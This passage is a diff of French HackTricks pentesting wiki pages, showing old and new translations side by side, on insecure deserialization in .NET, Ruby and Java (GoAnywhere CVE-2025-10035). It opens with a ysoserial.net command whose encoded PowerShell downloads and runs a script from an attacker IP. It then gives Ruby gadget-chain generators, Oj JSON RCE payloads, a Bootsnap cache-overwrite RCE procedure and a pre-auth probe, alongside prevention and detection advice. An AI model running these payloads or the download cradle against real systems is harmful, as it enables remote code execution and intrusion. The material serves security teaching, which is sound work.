ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** a également un **paramètre très intéressant** qui aide à mieux comprendre comment chaque exploit fonctionne : `--test`\
Si vous indiquez ce paramètre, **ysoserial.net** va **essayer** l'**exploit localement,** afin que vous puissiez tester si votre payload fonctionnera correctement.\
Ce paramètre est utile car si vous examinez le code, vous trouverez des morceaux de code comme le suivant (provenant de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)) :
**ysoserial.net** possède également un **paramètre très intéressant** qui aide à mieux comprendre comment chaque exploit fonctionne : `--test`\
Si vous indiquez ce paramètre **ysoserial.net** va **essayer** l'**exploit localement,** afin que vous puissiez tester si votre payload fonctionnera correctement.\
Ce paramètre est utile car si vous examinez le code vous trouverez des extraits de code comme le suivant (extrait de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -749,7 +762,7 @@ Debugging.ShowErrors(inputArgs, err);
}
}
```
Cela signifie que pour tester l'exploit, le code appellera [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
Cela signifie que, pour tester l'exploit, le code appellera [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
```java
public static object JsonNet_deserialize(string str)
{
@ -760,46 +773,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
Dans le **code précédent, il est vulnérable à l'exploit créé**. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie que probablement cette application est vulnérable aussi.\
Par conséquent, le **`--test`** paramètre nous permet de comprendre **quels morceaux de code sont vulnérables** à l'exploit de désérialisation que **ysoserial.net** peut créer.
Le code précédent est vulnérable à l'exploit créé. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie probablement que cette application est vulnérable aussi.
Par conséquent, le paramètre **`--test`** nous permet de comprendre **quels morceaux de code sont vulnérables** à l'exploit de deserialization que **ysoserial.net** peut créer.
### ViewState
Jetez un œil à [ce POST sur **comment essayer d'exploiter le paramètre \_\_ViewState de .Net**](exploiting-__viewstate-parameter.md) pour **exécuter du code arbitraire.** Si vous **savez déjà les secrets** utilisés par la machine victime, [**lisez ce post pour savoir comment exécuter du code**](exploiting-__viewstate-knowing-the-secret.md)**.**
Consultez [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-__viewstate-parameter.md)to **execute arbitrary code.** Si vous **connaissez déjà les secrets** utilisés par la machine victime, [**read this post to know to execute code**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
### Prévention
Pour atténuer les risques associés à la désérialisation dans .Net :
Pour atténuer les risques associés à la deserialization dans .Net :
- **Évitez de permettre aux flux de données de définir leurs types d'objet.** Utilisez `DataContractSerializer` ou `XmlSerializer` lorsque cela est possible.
- **Pour `JSON.Net`, définissez `TypeNameHandling` sur `None` :** `TypeNameHandling = TypeNameHandling.None`
- **Pour `JSON.Net`, réglez `TypeNameHandling` sur `None` :** `TypeNameHandling = TypeNameHandling.None`
- **Évitez d'utiliser `JavaScriptSerializer` avec un `JavaScriptTypeResolver`.**
- **Limitez les types qui peuvent être désérialisés**, en comprenant les risques inhérents aux types .Net, tels que `System.IO.FileInfo`, qui peuvent modifier les propriétés des fichiers du serveur, ce qui peut entraîner des attaques par déni de service.
- **Limitez les types qui peuvent être désérialisés**, en comprenant les risques inhérents aux types .Net, tels que `System.IO.FileInfo`, qui peuvent modifier les propriétés des fichiers du serveur, pouvant mener à des attaques par déni de service.
- **Soyez prudent avec les types ayant des propriétés risquées**, comme `System.ComponentModel.DataAnnotations.ValidationException` avec sa propriété `Value`, qui peut être exploitée.
- **Contrôlez de manière sécurisée l'instanciation des types** pour empêcher les attaquants d'influencer le processus de désérialisation, rendant même `DataContractSerializer` ou `XmlSerializer` vulnérables.
- **Mettez en œuvre des contrôles de liste blanche** en utilisant un `SerializationBinder` personnalisé pour `BinaryFormatter` et `JSON.Net`.
- **Restez informé sur les gadgets de désérialisation non sécurisés connus** dans .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types.
- **Isolez le code potentiellement risqué** du code ayant accès à Internet pour éviter d'exposer des gadgets connus, tels que `System.Windows.Data.ObjectDataProvider` dans les applications WPF, à des sources de données non fiables.
- **Tenez-vous informé des gadgets de deserialization connus et non sécurisés** au sein de .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types.
- **Isolez le code potentiellement risqué** du code ayant accès à Internet afin d'éviter d'exposer des gadgets connus, tels que `System.Windows.Data.ObjectDataProvider` dans les applications WPF, à des sources de données non fiables.
### **Références**
### **References**
- Document sur la désérialisation JSON en Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** conférence : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
En Ruby, la sérialisation est facilitée par deux méthodes dans la bibliothèque **marshal**. La première méthode, connue sous le nom de **dump**, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé sérialisation. À l'inverse, la deuxième méthode, **load**, est utilisée pour revenir à un flux d'octets en un objet, un processus connu sous le nom de désérialisation.
En Ruby, serialization est assurée par deux méthodes au sein de la bibliothèque **marshal**. La première méthode, connue sous le nom **dump**, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé serialization. À l'inverse, la seconde méthode, **load**, est employée pour retransformer un flux d'octets en un objet, un processus appelé deserialization.
Pour sécuriser les objets sérialisés, **Ruby utilise HMAC (Hash-Based Message Authentication Code)**, garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des plusieurs emplacements possibles :
Pour sécuriser les objets sérialisés, **Ruby utilise HMAC (Hash-Based Message Authentication Code)**, garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des emplacements suivants :
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
**Chaîne de gadgets de désérialisation générique Ruby 2.X vers RCE (plus d'infos dans** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)** :
**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -870,18 +883,18 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Autre chaîne RCE pour exploiter Ruby On Rails : [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Autre chaîne RCE pour exploiter Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Méthode Ruby .send()
Comme expliqué dans [**ce rapport de vulnérabilité**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si une entrée non assainie d'un utilisateur atteint la méthode `.send()` d'un objet ruby, cette méthode permet **d'invoquer n'importe quelle autre méthode** de l'objet avec n'importe quels paramètres.
Comme expliqué dans [**ce rapport de vulnérabilité**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si une entrée utilisateur non assainie atteint la méthode `.send()` d'un objet ruby, cette méthode permet d'**invoquer n'importe quelle autre méthode** de l'objet avec n'importe quels paramètres.
Par exemple, appeler eval et ensuite du code ruby comme deuxième paramètre permettra d'exécuter du code arbitraire :
Par exemple, appeler eval puis du code ruby en tant que second paramètre permettra d'exécuter du code arbitraire :
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
De plus, si un seul paramètre de **`.send()`** est contrôlé par un attaquant, comme mentionné dans le précédent article, il est possible d'appeler n'importe quelle méthode de l'objet qui **n'a pas besoin d'arguments** ou dont les arguments ont **des valeurs par défaut**.\
Pour cela, il est possible d'énumérer toutes les méthodes de l'objet pour **trouver des méthodes intéressantes qui remplissent ces conditions**.
De plus, si un seul paramètre de **`.send()`** est contrôlé par un attaquant, comme mentionné dans le writeup précédent, il est possible d'appeler n'importe quelle méthode de l'objet qui **n'a pas besoin d'arguments** ou dont les arguments ont des **valeurs par défaut**.\
Pour cela, il est possible d'énumérer toutes les méthodes de l'objet afin de **trouver des méthodes intéressantes qui répondent à ces exigences**.
```ruby
<Object>.send('<user_input>')
@ -903,25 +916,25 @@ candidate_methods = repo_methods.select() do |method_name|
end
candidate_methods.length() # Final number of methods=> 3595
```
### Pollution de classe Ruby
### Ruby class pollution
Vérifiez comment il pourrait être possible de [polluer une classe Ruby et de l'abuser ici](ruby-class-pollution.md).
Voyez comment il est possible de [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
### Pollution _json Ruby
### Ruby _json pollution
Lors de l'envoi dans un corps de certaines valeurs non hachables comme un tableau, elles seront ajoutées dans une nouvelle clé appelée `_json`. Cependant, il est possible pour un attaquant de définir également dans le corps une valeur appelée `_json` avec les valeurs arbitraires qu'il souhaite. Ensuite, si le backend, par exemple, vérifie la véracité d'un paramètre mais utilise également le paramètre `_json` pour effectuer une action, un contournement d'autorisation pourrait être réalisé.
When sending in a body some values not hashabled like an array they will be added into a new key called `_json`. However, Its possible for an attacker to also set in the body a value called `_json` with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the `_json` parameter to perform some action, an authorisation bypass could be performed.
Vérifiez plus d'informations sur la [page de pollution _json Ruby](ruby-_json-pollution.md).
Pour plus d'informations, consultez la [Ruby _json pollution page](ruby-_json-pollution.md).
### Autres bibliothèques
### Other libraries
Cette technique a été prise[ **de cet article de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Cette technique a été reprise [ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Il existe d'autres bibliothèques Ruby qui peuvent être utilisées pour sérialiser des objets et qui pourraient donc être abusées pour obtenir un RCE lors d'une désérialisation non sécurisée. Le tableau suivant montre certaines de ces bibliothèques et la méthode qu'elles appellent de la bibliothèque chargée chaque fois qu'elle est désérialisée (fonction à abuser pour obtenir un RCE essentiellement) :
There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothèque</strong></td><td><strong>Données d'entrée</strong></td><td><strong>Méthode de lancement à l'intérieur de la classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binaire</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe doit être mise dans un hash(map) comme clé)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe doit être mise dans un hash(map) comme clé)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe doit être mise dans un hash(map) comme clé)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([voir les notes concernant json_create à la fin](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothèque</strong></td><td><strong>Données d'entrée</strong></td><td><strong>Méthode déclencheuse à l'intérieur de la classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
Exemple de base :
Exemple basique :
```ruby
# Existing Ruby class inside the code of the app
class SimpleClass
@ -943,7 +956,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Dans le cas d'une tentative d'abus d'Oj, il a été possible de trouver une classe gadget qui, à l'intérieur de sa fonction `hash`, appellera `to_s`, qui appellera spec, qui appellera fetch_path, ce qui a permis de le faire récupérer une URL aléatoire, offrant un excellent détecteur de ce type de vulnérabilités de désérialisation non assainies.
Dans le cas d'une tentative d'abuser Oj, il a été possible de trouver un gadget class qui, dans sa fonction `hash`, appelle `to_s`, qui appelle spec, qui appelle fetch_path, et qu'on pouvait contraindre à récupérer une URL aléatoire, fournissant un excellent détecteur pour ce type d'unsanitized deserialization vulnerabilities.
```json
{
"^o": "URI::HTTP",
@ -955,7 +968,7 @@ Dans le cas d'une tentative d'abus d'Oj, il a été possible de trouver une clas
"password": "anypw"
}
```
De plus, il a été constaté qu'avec la technique précédente, un dossier est également créé dans le système, ce qui est une exigence pour abuser d'un autre gadget afin de transformer cela en un RCE complet avec quelque chose comme :
De plus, il a été constaté qu'avec la technique précédente, un dossier est créé sur le système, ce qui est nécessaire pour exploiter un autre gadget et transformer cela en un RCE complet, par exemple :
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -977,48 +990,50 @@ De plus, il a été constaté qu'avec la technique précédente, un dossier est
}
}
```
Vérifiez les détails dans le [**post original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Consultez le [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) pour plus de détails.
### Mise en cache Bootstrap
### Bootstrap Caching
Ce n'est pas vraiment une vulnérabilité de désérialisation, mais un joli truc pour abuser de la mise en cache Bootstrap afin d'obtenir un RCE à partir d'une application Rails avec une écriture de fichier arbitraire (trouvez le [post original complet ici](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Ce n'est pas vraiment une vulnérabilité de désérialisation mais une astuce intéressante pour abuser du bootstrap caching afin d'obtenir une RCE depuis une application rails via un arbitrary file write (trouvez le post original complet ici : https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/).
Voici un bref résumé des étapes détaillées dans l'article pour exploiter une vulnérabilité d'écriture de fichier arbitraire en abusant de la mise en cache Bootsnap :
Cidessous un court résumé des étapes détaillées dans l'article pour exploiter une vulnérabilité d'écriture de fichier arbitraire en abusant du cache Bootsnap :
- Identifier la vulnérabilité et l'environnement
La fonctionnalité de téléchargement de fichiers de l'application Rails permet à un attaquant d'écrire des fichiers de manière arbitraire. Bien que l'application fonctionne avec des restrictions (seules certaines répertoires comme tmp sont accessibles en écriture en raison de l'utilisateur non-root de Docker), cela permet tout de même d'écrire dans le répertoire de cache Bootsnap (généralement sous tmp/cache/bootsnap).
La fonctionnalité d'upload de fichiers de l'application Rails permet à un attaquant d'écrire des fichiers de manière arbitraire. Bien que l'application fonctionne avec des restrictions (seuls certains répertoires comme tmp sont inscriptibles à cause de l'utilisateur non-root de Docker), cela permet néanmoins d'écrire dans le répertoire de cache Bootsnap (généralement sous tmp/cache/bootsnap).
- Comprendre le mécanisme de cache de Bootsnap
Bootsnap accélère les temps de démarrage de Rails en mettant en cache le code Ruby compilé, les fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un en-tête de clé de cache (avec des champs comme la version Ruby, la taille du fichier, mtime, options de compilation, etc.) suivi du code compilé. Cet en-tête est utilisé pour valider le cache lors du démarrage de l'application.
Bootsnap accélère le démarrage de Rails en mettant en cache du code Ruby compilé, des fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un entête de cache key (avec des champs comme Ruby version, file size, mtime, compile options, etc.) suivi du code compilé. Cet entête est utilisé pour valider le cache au démarrage de l'application.
- Rassembler les métadonnées du fichier
- Collecter les métadonnées du fichier
L'attaquant sélectionne d'abord un fichier cible qui est probablement chargé lors du démarrage de Rails (par exemple, set.rb de la bibliothèque standard de Ruby). En exécutant du code Ruby à l'intérieur du conteneur, il extrait des métadonnées critiques (telles que RUBY_VERSION, RUBY_REVISION, taille, mtime et compile_option). Ces données sont essentielles pour créer une clé de cache valide.
L'attaquant choisit d'abord un fichier cible susceptible d'être chargé au démarrage de Rails (par exemple, set.rb de la bibliothèque standard Ruby). En exécutant du code Ruby à l'intérieur du conteneur, il extrait des métadonnées critiques (comme RUBY_VERSION, RUBY_REVISION, size, mtime et compile_option). Ces informations sont essentielles pour fabriquer une cache key valide.
- Calculer le chemin du fichier de cache
En répliquant le mécanisme de hachage FNV-1a 64 bits de Bootsnap, le bon chemin du fichier de cache est déterminé. Cette étape garantit que le fichier de cache malveillant est placé exactement là où Bootsnap s'y attend (par exemple, sous tmp/cache/bootsnap/compile-cache-iseq/).
En reproduisant le mécanisme de hash FNV-1a 64-bit de Bootsnap, on détermine le chemin correct du fichier de cache. Cette étape garantit que le fichier de cache malveillant est placé exactement là où Bootsnap l'attend (par ex., sous tmp/cache/bootsnap/compile-cache-iseq/).
- Créer le fichier de cache malveillant
- Préparer le fichier de cache malveillant
L'attaquant prépare une charge utile qui :
- Exécute des commandes arbitraires (par exemple, exécuter id pour afficher des infos sur le process).
- Supprime le cache malveillant après exécution pour éviter une exploitation récursive.
- Charge le fichier original (par ex., set.rb) pour éviter de planter l'application.
- Exécute des commandes arbitraires (par exemple, exécuter id pour afficher les informations sur le processus).
- Supprime le cache malveillant après exécution pour éviter une exploitation récursive.
- Charge le fichier original (par exemple, set.rb) pour éviter de faire planter l'application.
Cette charge utile est compilée en code Ruby binaire et concaténée avec un en-tête de clé de cache soigneusement construit (en utilisant les métadonnées précédemment rassemblées et le bon numéro de version pour Bootsnap).
Ce payload est compilé en code Ruby binaire et concaténé avec un entête de cache key soigneusement construit (en utilisant les métadonnées collectées et le numéro de version correct pour Bootsnap).
- Écraser et déclencher l'exécution
En utilisant la vulnérabilité d'écriture de fichier arbitraire, l'attaquant écrit le fichier de cache conçu à l'emplacement calculé. Ensuite, il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, qui est surveillé par Puma). Lors du redémarrage, lorsque Rails nécessite le fichier ciblé, le fichier de cache malveillant est chargé, entraînant une exécution de code à distance (RCE).
### Exploitation de Ruby Marshal en pratique (mis à jour)
En exploitant la vulnérabilité d'écriture de fichier arbitraire, l'attaquant écrit le fichier de cache créé à l'emplacement calculé. Ensuite, il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, qui est surveillé par Puma). Lors du redémarrage, lorsque Rails require le fichier ciblé, le fichier de cache malveillant est chargé, entraînant une exécution de code à distance (RCE).
Traitez tout chemin où des octets non fiables atteignent `Marshal.load`/`marshal_load` comme un point d'évacuation RCE. Marshal reconstruit des graphes d'objets arbitraires et déclenche des rappels de bibliothèque/gem lors de la matérialisation.
- Chemin de code Rails vulnérable minimal :
### Ruby Marshal exploitation in practice (mis à jour)
Considérez tout chemin par lequel des octets non fiables atteignent `Marshal.load`/`marshal_load` comme un sink RCE. Marshal reconstruit des graphes d'objets arbitraires et déclenche des callbacks de library/gem durant la matérialisation.
- Chemin de code Rails minimal vulnérable:
```ruby
class UserRestoreController < ApplicationController
def show
@ -1032,20 +1047,20 @@ end
end
end
```
- Classes de gadgets courantes vues dans des chaînes réelles : `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Marqueur d'effet secondaire typique intégré dans les charges utiles (exécuté lors de la désérialisation) :
- Classes de gadget courantes observées dans des chains réelles : `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Marqueur de side-effect typique intégré dans les payloads (exécuté pendant l'unmarshal) :
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
Où cela apparaît dans les applications réelles :
- Les magasins de cache Rails et les magasins de session utilisant historiquement Marshal
- Les backends de tâches en arrière-plan et les magasins d'objets basés sur des fichiers
- Toute persistance ou transport personnalisé de blobs d'objets binaires
Où cela apparaît dans des applications réelles :
- Les cache stores et session stores de Rails, historiquement basés sur Marshal
- Les backends de jobs en arrière-plan et les file-backed object stores
- Toute persistance personnalisée ou transport de blobs d'objets binaires
Découverte industrialisée de gadgets :
- Grep pour les constructeurs, `hash`, `_load`, `init_with`, ou les méthodes ayant des effets secondaires invoquées lors de l'unmarshal
- Utilisez les requêtes de désérialisation non sécurisée de CodeQL pour Ruby afin de tracer les sources → les éviers et faire remonter les gadgets
- Validez avec des PoCs publics multi-formats (JSON/XML/YAML/Marshal)
- Grep pour les constructeurs, `hash`, `_load`, `init_with`, ou les méthodes à effets de bord invoquées lors de l'unmarshal
- Utilisez les requêtes CodeQL Ruby unsafe deserialization pour tracer les sources → sinks et mettre au jour des gadgets
- Validez avec des PoCs publics multi-format (JSON/XML/YAML/Marshal)
## Références
@ -1064,5 +1079,6 @@ Découverte industrialisée de gadgets :
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,140 @@
# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
{{#include ../../banners/hacktricks-training.md}}
Cette page documente un motif courant de désérialisation Java « guarded » construit autour de java.security.SignedObject et comment des sinks apparemment inaccessibles peuvent devenir atteignables avant authentification via des flux de gestion d'erreurs. La technique a été observée dans Fortra GoAnywhere MFT (CVE-2025-10035) mais s'applique à des conceptions similaires.
## Threat model
- Un attaquant peut atteindre un endpoint HTTP qui traite finalement un byte[] fourni par l'attaquant destiné à être un SignedObject sérialisé.
- Le code utilise un wrapper de validation (par ex., Apache Commons IO ValidatingObjectInputStream ou un adaptateur personnalisé) pour contraindre le type le plus externe à SignedObject (ou byte[]).
- L'objet interne renvoyé par SignedObject.getObject() est l'endroit où des gadget chains peuvent se déclencher (par ex., CommonsBeanutils1), mais seulement après une vérification de signature.
## Typical vulnerable pattern
Un exemple simplifié basé sur com.linoma.license.gen2.BundleWorker.verify:
```java
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
String sigAlg = "SHA1withDSA";
if ("2".equals(keyCfg.getVersion())) {
sigAlg = "SHA512withRSA"; // key version controls algorithm
}
PublicKey pub = getPublicKey(keyCfg);
Signature sig = Signature.getInstance(sigAlg);
// 1) Outer, "guarded" deserialization restricted to SignedObject
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
payload, SignedObject.class, new Class[]{ byte[].class });
if (keyCfg.isServer()) {
// Hardened server path
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
so, SignedContainer.class, new Class[]{ byte[].class }
)).getData();
} else {
// 2) Signature check using a baked-in public key
if (!so.verify(pub, sig)) {
throw new IOException("Unable to verify signature!");
}
// 3) Inner object deserialization (potential gadget execution)
SignedContainer inner = (SignedContainer) so.getObject();
return inner.getData();
}
}
```
Observations clés:
- Le deserializer de validation à (1) bloque les classes de gadget top-level arbitraires ; seul SignedObject (ou raw byte[]) est accepté.
- Le primitive RCE se trouverait dans l'objet interne matérialisé par SignedObject.getObject() à (3).
- Une signature gate à (2) impose que le SignedObject doit passer verify() contre une clé publique intégrée au produit. À moins que l'attaquant puisse produire une signature valide, le gadget interne n'est jamais désérialisé.
## Considérations d'exploitation
Pour obtenir une exécution de code, un attaquant doit livrer un SignedObject correctement signé qui encapsule une gadget chain malveillante comme objet interne. Cela requiert en général l'un des éléments suivants :
- Private key compromise : obtenir la clé privée correspondante utilisée par le produit pour signer/vérifier les objets de licence.
- Signing oracle : contraindre le fournisseur ou un service de signature de confiance à signer du contenu sérialisé contrôlé par l'attaquant (par ex., si un license server signe un objet arbitraire embarqué provenant d'une entrée client).
- Alternate reachable path : trouver un chemin côté serveur qui désérialise l'objet interne sans appeler verify(), ou qui saute les vérifications de signature dans un mode spécifique.
En l'absence de l'un de ces éléments, la vérification de signature empêchera l'exploitation malgré la présence d'un deserialization sink.
## Pre-auth reachability via error-handling flows
Même lorsqu'un endpoint de deserialization semble exiger une authentification ou un token lié à la session, le code de gestion des erreurs peut involontairement générer et attacher le token à une session non authentifiée.
Example reachability chain (GoAnywhere MFT):
- Target servlet: /goanywhere/lic/accept/<GUID> requires a session-bound license request token.
- Error path: hitting /goanywhere/license/Unlicensed.xhtml with trailing junk and invalid JSF state triggers AdminErrorHandlerServlet, which does:
- SessionUtilities.generateLicenseRequestToken(session)
- Redirects to vendor license server with a signed license request in bundle=<...>
- The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/<GUID> with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth.
Proof-of-reachability (impact-less) probe:
```http
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
Host: <target>
```
- Non corrigé : 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
- Corrigé : redirection sans bundle (pas de génération de token).
## Détection Blue-team
Les indicateurs dans les traces de pile/logs suggèrent fortement des tentatives visant un SignedObject-gated sink :
```
java.io.ObjectInputStream.readObject
java.security.SignedObject.getObject
com.linoma.license.gen2.BundleWorker.verify
com.linoma.license.gen2.BundleWorker.unbundle
com.linoma.license.gen2.LicenseController.getResponse
com.linoma.license.gen2.LicenseAPI.getResponse
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
```
## Conseils de durcissement
- Maintenez la vérification de signature avant tout appel à getObject() et assurez-vous que la vérification utilise la clé publique/algorithme prévu.
- Remplacez les appels directs à SignedObject.getObject() par un wrapper renforcé qui réapplique le filtrage au flux interne (par ex., deserializeUntrustedSignedObject utilisant des listes d'autorisation ValidatingObjectInputStream/ObjectInputFilter).
- Supprimez les flux de gestion des erreurs qui émettent des jetons liés à la session pour des utilisateurs non authentifiés. Traitez les chemins d'erreur comme une surface d'attaque.
- Privilégiez les filtres de sérialisation Java (JEP 290) avec des listes d'autorisation strictes pour les désérialisations externe et interne. Exemple :
```java
ObjectInputFilter filter = info -> {
Class<?> c = info.serialClass();
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
return ObjectInputFilter.Status.REJECTED; // outer layer
};
ObjectInputFilter.Config.setSerialFilter(filter);
// For the inner object, apply a separate strict DTO allow-list
```
## Récapitulatif de la chaîne d'attaque (CVE-2025-10035)
